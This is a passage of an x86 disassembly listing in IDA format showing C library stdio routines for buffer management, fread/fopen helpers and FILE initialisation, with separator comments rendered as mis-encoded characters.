var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] test byte ptr [ebx+1], 1 jz short loc_80618EA push ebx call sub_806180C add esp, 4 loc_80618EA: ; CODE XREF: sub_80618D4+Bj mov eax, [ebx+24h] push eax call free mov dword ptr [ebx+24h], 0 mov dword ptr [ebx+2Ch], 0 mov dword ptr [ebx+28h], 0 mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_80618D4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061910 proc near ; CODE XREF: sub_804F820+46p ; vfprintf+BEAp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] mov ecx, [edx+50h] push eax push edx mov eax, [ecx+14h] call eax mov esp, ebp pop ebp retn sub_8061910 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061928 proc near ; CODE XREF: sub_8061A70+47p ; sub_8061AEC+4Bp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push edi push esi push ebx mov edi, [ebp+arg_0] push edi call sub_80617E4 mov esi, eax mov ecx, [edi+8] sub ecx, [edi+0Ch] sub ecx, esi mov [ebp+var_4], ecx mov eax, [edi+2Ch] sub eax, [edi+24h] add esp, 4 cmp ecx, eax jle loc_80619EC mov [ebp+var_8], 64h mov eax, ecx add eax, 64h push eax call malloc mov [ebp+var_C], eax add esp, 4 test eax, eax jnz short loc_8061980 mov eax, 0FFFFFFFFh jmp loc_8061A63 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061980: ; CODE XREF: sub_8061928+4Aj test esi, esi jge short loc_80619B0 mov edx, esi neg edx mov ebx, [ebp+var_C] add ebx, [ebp+var_8] mov eax, [edi+2Ch] add eax, esi push edx push eax push ebx call memcpy add esp, 0Ch sub ebx, esi mov edx, [edi+0Ch] mov eax, [edi+8] sub eax, edx push eax push edx push ebx jmp short loc_80619C1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80619B0: ; CODE XREF: sub_8061928+5Aj mov edx, [ebp+var_C] add edx, [ebp+var_8] mov eax, [edi+0Ch] add eax, esi mov ecx, [ebp+var_4] push ecx push eax push edx loc_80619C1: ; CODE XREF: sub_8061928+83j call memcpy add esp, 0Ch cmp dword ptr [edi+24h], 0 jz short loc_80619D8 mov eax, [edi+24h] push eax call free loc_80619D8: ; CODE XREF: sub_8061928+A5j mov ecx, [ebp+var_C] mov [edi+24h], ecx mov eax, [ebp+var_C] add eax, [ebp+var_8] add eax, [ebp+var_4] mov [edi+2Ch], eax jmp short loc_8061A40 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80619EC: ; CODE XREF: sub_8061928+2Aj sub eax, [ebp+var_4] mov [ebp+var_8], eax test esi, esi jge short loc_8061A24 mov eax, esi neg eax push eax mov eax, esi add eax, [edi+2Ch] push eax mov eax, [ebp+var_8] add eax, [edi+24h] push eax call sub_8056570 mov edx, [ebp+var_8] add edx, [edi+24h] sub edx, esi mov ecx, [edi+0Ch] mov eax, [edi+8] sub eax, ecx push eax push ecx jmp short loc_8061A3A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061A24: ; CODE XREF: sub_8061928+CCj cmp [ebp+var_4], 0 jle short loc_8061A40 mov edx, [ebp+var_8] add edx, [edi+24h] mov eax, [edi+0Ch] add eax, esi mov ecx, [ebp+var_4] push ecx push eax loc_8061A3A: ; CODE XREF: sub_8061928+F7j push edx call memcpy loc_8061A40: ; CODE XREF: sub_8061928+C2j ; sub_8061928+100j mov ecx, [ebp+var_8] add ecx, [edi+24h] mov [edi+28h], ecx mov edx, [edi+8] sub edx, [edi+0Ch] mov eax, [edi+30h] test eax, eax jz short loc_8061A61 lea esi, [esi] loc_8061A58: ; CODE XREF: sub_8061928+137j sub [eax+8], edx mov eax, [eax] test eax, eax jnz short loc_8061A58 loc_8061A61: ; CODE XREF: sub_8061928+12Cj xor eax, eax loc_8061A63: ; CODE XREF: sub_8061928+51j lea esp, [ebp+var_18] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8061928 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061A70 proc near ; CODE XREF: sub_804F734+1Fp ; sub_8061D4C+C8p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] test byte ptr [ebx+1], 8 jz short loc_8061A8B push ebx call sub_806186C add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_8061AC3 loc_8061A8B: ; CODE XREF: sub_8061A70+Bj mov eax, [ebx+4] cmp [ebx+8], eax ja short loc_8061AAA test byte ptr [ebx+1], 1 jz short loc_8061AB0 push ebx call sub_806180C add esp, 4 mov eax, [ebx+4] cmp [ebx+8], eax jbe short loc_8061AB0 loc_8061AAA: ; CODE XREF: sub_8061A70+21j movzx eax, byte ptr [eax] jmp short loc_8061AE4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8061AB0: ; CODE XREF: sub_8061A70+27j ; sub_8061A70+38j cmp dword ptr [ebx+30h], 0 jz short loc_8061ACC push ebx call sub_8061928 add esp, 4 test eax, eax jz short loc_8061ADB loc_8061AC3: ; CODE XREF: sub_8061A70+19j mov eax, 0FFFFFFFFh jmp short loc_8061AE4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061ACC: ; CODE XREF: sub_8061A70+44j cmp dword ptr [ebx+24h], 0 jz short loc_8061ADB push ebx call sub_80618D4 add esp, 4 loc_8061ADB: ; CODE XREF: sub_8061A70+51j ; sub_8061A70+60j mov eax, [ebx+50h] push ebx mov eax, [eax+1Ch] call eax loc_8061AE4: ; CODE XREF: sub_8061A70+3Dj ; sub_8061A70+58j mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8061A70 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061AEC proc near var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] test byte ptr [ebx+1], 8 jz short loc_8061B07 push ebx call sub_806186C add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_8061B43 loc_8061B07: ; CODE XREF: sub_8061AEC+Bj mov eax, [ebx+4] cmp [ebx+8], eax ja short loc_8061B26 test byte ptr [ebx+1], 1 jz short loc_8061B30 push ebx call sub_806180C add esp, 4 mov eax, [ebx+4] cmp [ebx+8], eax jbe short loc_8061B30 loc_8061B26: ; CODE XREF: sub_8061AEC+21j movzx eax, byte ptr [eax] inc dword ptr [ebx+4] jmp short loc_8061B64 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061B30: ; CODE XREF: sub_8061AEC+27j ; sub_8061AEC+38j cmp dword ptr [ebx+30h], 0 jz short loc_8061B4C push ebx call sub_8061928 add esp, 4 test eax, eax jz short loc_8061B5B loc_8061B43: ; CODE XREF: sub_8061AEC+19j mov eax, 0FFFFFFFFh jmp short loc_8061B64 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061B4C: ; CODE XREF: sub_8061AEC+48j cmp dword ptr [ebx+24h], 0 jz short loc_8061B5B push ebx call sub_80618D4 add esp, 4 loc_8061B5B: ; CODE XREF: sub_8061AEC+55j ; sub_8061AEC+64j mov eax, [ebx+50h] push ebx mov eax, [eax+24h] call eax loc_8061B64: ; CODE XREF: sub_8061AEC+40j ; sub_8061AEC+5Cj mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8061AEC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061B6C proc near ; CODE XREF: sub_8052E80+61p ; sub_8052F58+D1p ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push edi push esi push ebx mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov edi, [ebp+arg_8] cmp dword ptr [ebx+1Ch], 0 jz short loc_8061B96 test byte ptr [ebx], 1 jnz short loc_8061B96 mov eax, [ebx+20h] sub eax, [ebx+1Ch] push eax mov eax, [ebx+1Ch] push eax call munmap loc_8061B96: ; CODE XREF: sub_8061B6C+13j ; sub_8061B6C+18j mov [ebx+1Ch], esi mov [ebx+20h], edi cmp [ebp+arg_C], 0 jz short loc_8061BA8 and dword ptr [ebx], 0FFFFFFFEh jmp short loc_8061BAB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8061BA8: ; CODE XREF: sub_8061B6C+34j or byte ptr [ebx], 1 loc_8061BAB: ; CODE XREF: sub_8061B6C+39j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8061B6C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061BB8 proc near ; CODE XREF: sub_806106C+1Fp ; sub_8061118+21p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] cmp dword ptr [ebx+1Ch], 0 jnz short loc_8061BEB test byte ptr [ebx], 2 jnz short loc_8061BDB mov eax, [ebx+50h] push ebx mov eax, [eax+64h] call eax add esp, 4 cmp eax, 0FFFFFFFFh jnz short loc_8061BEB loc_8061BDB: ; CODE XREF: sub_8061BB8+10j push 0 lea eax, [ebx+48h] push eax lea eax, [ebx+47h] push eax push ebx call sub_8061B6C loc_8061BEB: ; CODE XREF: sub_8061BB8+Bj ; sub_8061BB8+21j mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8061BB8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061BF4 proc near push ebp mov ebp, esp mov eax, 0FFFFFFFFh mov esp, ebp pop ebp retn sub_8061BF4 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061C00 proc near var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] mov eax, [ebx+50h] push ebx mov eax, [eax+1Ch] call eax cmp eax, 0FFFFFFFFh jz short loc_8061C20 mov eax, [ebx+4] movzx eax, byte ptr [eax] inc dword ptr [ebx+4] jmp short loc_8061C25 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061C20: ; CODE XREF: sub_8061C00+13j mov eax, 0FFFFFFFFh loc_8061C25: ; CODE XREF: sub_8061C00+1Ej mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8061C00 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061C2C proc near ; CODE XREF: sub_8061564+20Ap var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov ebx, [ebp+arg_4] mov edi, [ebp+arg_8] mov [ebp+var_4], edi test edi, edi jnz short loc_8061C4C xor eax, eax jmp loc_8061D22 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061C4C: ; CODE XREF: sub_8061C2C+14j ; sub_8061C2C+E9j mov edi, [ebp+arg_0] mov esi, [edi+18h] sub esi, [edi+14h] test esi, esi jle loc_8061CF6 cmp [ebp+var_4], esi jnb short loc_8061C65 mov esi, [ebp+var_4] loc_8061C65: ; CODE XREF: sub_8061C2C+34j cmp esi, 14h jle short loc_8061C84 mov edi, [ebp+arg_0] mov eax, [edi+14h] push esi push ebx push eax call memcpy add esp, 0Ch add ebx, esi add [edi+14h], esi jmp short loc_8061CF3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061C84: ; CODE XREF: sub_8061C2C+3Cj test esi, esi jg short loc_8061C8C xor esi, esi jmp short loc_8061CF3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061C8C: ; CODE XREF: sub_8061C2C+5Aj mov edi, [ebp+arg_0] mov edx, [edi+14h] lea ecx, [esi-1] test ecx, ecx jl short loc_8061CED mov eax, ecx not eax and eax, 3 cmp ecx, 0FFFFFFFFh jle short loc_8061CC3 test eax, eax jz short loc_8061CCC cmp eax, 3 jge short loc_8061CC3 cmp eax, 2 jge short loc_8061CBC mov al, [ebx] mov [edx], al inc ebx inc edx lea ecx, [esi-2] loc_8061CBC: ; CODE XREF: sub_8061C2C+85j mov al, [ebx] mov [edx], al inc ebx inc edx dec ecx loc_8061CC3: ; CODE XREF: sub_8061C2C+77j ; sub_8061C2C+80j mov al, [ebx] mov [edx], al inc ebx inc edx dec ecx js short loc_8061CED loc_8061CCC: ; CODE XREF: sub_8061C2C+7Bj ; sub_8061C2C+BFj mov al, [ebx] mov [edx], al mov al, [ebx+1] mov [edx+1], al mov al, [ebx+2] mov [edx+2], al mov al, [ebx+3] mov [edx+3], al add ebx, 4 add edx, 4 add ecx, 0FFFFFFFCh jns short loc_8061CCC loc_8061CED: ; CODE XREF: sub_8061C2C+6Bj ; sub_8061C2C+9Ej mov edi, [ebp+arg_0] mov [edi+14h], edx loc_8061CF3: ; CODE XREF: sub_8061C2C+54j ; sub_8061C2C+5Ej sub [ebp+var_4], esi loc_8061CF6: ; CODE XREF: sub_8061C2C+2Bj cmp [ebp+var_4], 0 jz short loc_8061D1C movzx eax, byte ptr [ebx] push eax inc ebx mov edi, [ebp+arg_0] push edi call sub_8061910 add esp, 8 cmp eax, 0FFFFFFFFh jz short loc_8061D1C dec [ebp+var_4] jmp loc_8061C4C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061D1C: ; CODE XREF: sub_8061C2C+CEj ; sub_8061C2C+E4j mov eax, [ebp+arg_8] sub eax, [ebp+var_4] loc_8061D22: ; CODE XREF: sub_8061C2C+18j lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8061C2C endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061D2C proc near ; CODE XREF: fread+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov edx, [ebp+arg_0] mov ecx, [ebp+arg_4] mov eax, [ebp+arg_8] mov ebx, [edx+50h] push eax push ecx push edx mov eax, [ebx+3Ch] call eax mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8061D2C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061D4C proc near var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov edi, [ebp+arg_8] mov [ebp+var_4], edi mov ebx, [ebp+arg_4] lea esi, [esi] loc_8061D60: ; CODE XREF: sub_8061D4C+D3j mov edi, [ebp+arg_0] mov esi, [edi+8] sub esi, [edi+4] test esi, esi jle loc_8061E0A cmp [ebp+var_4], esi jnb short loc_8061D79 mov esi, [ebp+var_4] loc_8061D79: ; CODE XREF: sub_8061D4C+28j cmp esi, 14h jle short loc_8061D98 mov edi, [ebp+arg_0] mov eax, [edi+4] push esi push eax push ebx call memcpy add esp, 0Ch add ebx, esi add [edi+4], esi jmp short loc_8061E07 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061D98: ; CODE XREF: sub_8061D4C+30j test esi, esi jg short loc_8061DA0 xor esi, esi jmp short loc_8061E07 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061DA0: ; CODE XREF: sub_8061D4C+4Ej mov edi, [ebp+arg_0] mov edx, [edi+4] lea ecx, [esi-1] test ecx, ecx jl short loc_8061E01 mov eax, ecx not eax and eax, 3 cmp ecx, 0FFFFFFFFh jle short loc_8061DD7 test eax, eax jz short loc_8061DE0 cmp eax, 3 jge short loc_8061DD7 cmp eax, 2 jge short loc_8061DD0 mov al, [edx] mov [ebx], al inc edx inc ebx lea ecx, [esi-2] loc_8061DD0: ; CODE XREF: sub_8061D4C+79j mov al, [edx] mov [ebx], al inc edx inc ebx dec ecx loc_8061DD7: ; CODE XREF: sub_8061D4C+6Bj ; sub_8061D4C+74j mov al, [edx] mov [ebx], al inc edx inc ebx dec ecx js short loc_8061E01 loc_8061DE0: ; CODE XREF: sub_8061D4C+6Fj ; sub_8061D4C+B3j mov al, [edx] mov [ebx], al mov al, [edx+1] mov [ebx+1], al mov al, [edx+2] mov [ebx+2], al mov al, [edx+3] mov [ebx+3], al add edx, 4 add ebx, 4 add ecx, 0FFFFFFFCh jns short loc_8061DE0 loc_8061E01: ; CODE XREF: sub_8061D4C+5Fj ; sub_8061D4C+92j mov edi, [ebp+arg_0] mov [edi+4], edx loc_8061E07: ; CODE XREF: sub_8061D4C+48j ; sub_8061D4C+52j sub [ebp+var_4], esi loc_8061E0A: ; CODE XREF: sub_8061D4C+1Fj cmp [ebp+var_4], 0 jz short loc_8061E25 mov edi, [ebp+arg_0] push edi call sub_8061A70 add esp, 4 cmp eax, 0FFFFFFFFh jnz loc_8061D60 loc_8061E25: ; CODE XREF: sub_8061D4C+C2j mov eax, [ebp+arg_8] sub eax, [ebp+var_4] lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8061D4C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061E38 proc near push ebp mov ebp, esp xor eax, eax mov esp, ebp pop ebp retn sub_8061E38 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061E44 proc near ; CODE XREF: sub_8060F60+10p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov edi, [ebp+arg_8] mov eax, [ebx+50h] push ebx mov eax, [eax+5Ch] call eax add esp, 4 cmp eax, 0FFFFFFFFh jnz short loc_8061E68 xor eax, eax jmp short loc_8061EBC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061E68: ; CODE XREF: sub_8061E44+1Ej test esi, esi jz short loc_8061E70 test edi, edi jnz short loc_8061E80 loc_8061E70: ; CODE XREF: sub_8061E44+26j or byte ptr [ebx], 2 push 0 lea eax, [ebx+48h] push eax lea eax, [ebx+47h] push eax jmp short loc_8061E8A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8061E80: ; CODE XREF: sub_8061E44+2Aj and dword ptr [ebx], 0FFFFFFFDh push 0 lea eax, [edi+esi] push eax push esi loc_8061E8A: ; CODE XREF: sub_8061E44+39j push ebx call sub_8061B6C mov dword ptr [ebx+18h], 0 mov dword ptr [ebx+14h], 0 mov dword ptr [ebx+10h], 0 mov dword ptr [ebx+8], 0 mov dword ptr [ebx+4], 0 mov dword ptr [ebx+0Ch], 0 mov eax, ebx loc_8061EBC: ; CODE XREF: sub_8061E44+22j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8061E44 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061EC8 proc near var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov edx, [ebp+arg_0] mov ecx, [ebp+arg_4] mov eax, [ebp+arg_8] mov ebx, [edx+50h] push eax push 0 push ecx push edx mov eax, [ebx+44h] call eax mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8061EC8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061EEC proc near var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push 0 push 0FFFFFFFFh push 22h push 3 push 400h push 0 call mmap mov edx, eax add esp, 18h cmp edx, 0FFFFFFFFh jz short loc_8061F28 push 1 lea eax, [edx+400h] push eax push edx push ebx call sub_8061B6C mov eax, 1 jmp short loc_8061F2D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061F28: ; CODE XREF: sub_8061EEC+23j mov eax, 0FFFFFFFFh loc_8061F2D: ; CODE XREF: sub_8061EEC+3Aj mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8061EEC endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061F34 proc near ; CODE XREF: fopen+23p sub_804F820+15p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] mov edx, [ebp+arg_4] or edx, 0FBAD0000h mov [eax], edx mov dword ptr [eax+1Ch], 0 mov dword ptr [eax+20h], 0 mov dword ptr [eax+0Ch], 0 mov dword ptr [eax+4], 0 mov dword ptr [eax+8], 0 mov dword ptr [eax+10h], 0 mov dword ptr [eax+14h], 0 mov dword ptr [eax+18h], 0 mov dword ptr [eax+34h], 0 mov dword ptr [eax+24h], 0 mov dword ptr [eax+28h], 0 mov dword ptr [eax+2Ch], 0 mov dword ptr [eax+30h], 0 mov word ptr [eax+44h], 0 mov dword ptr [eax+38h], 0FFFFFFFFh mov esp, ebp pop ebp retn sub_8061F34 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061FB4 proc near push ebp mov ebp, esp xor eax, eax mov esp, ebp pop ebp retn sub_8061FB4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8061FC0 proc near ; CODE XREF: sub_80531A8+26p ; sub_8060DDC+36p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] cmp dword ptr [ebx+1Ch], 0 jz short loc_8061FF3 test byte ptr [ebx], 1 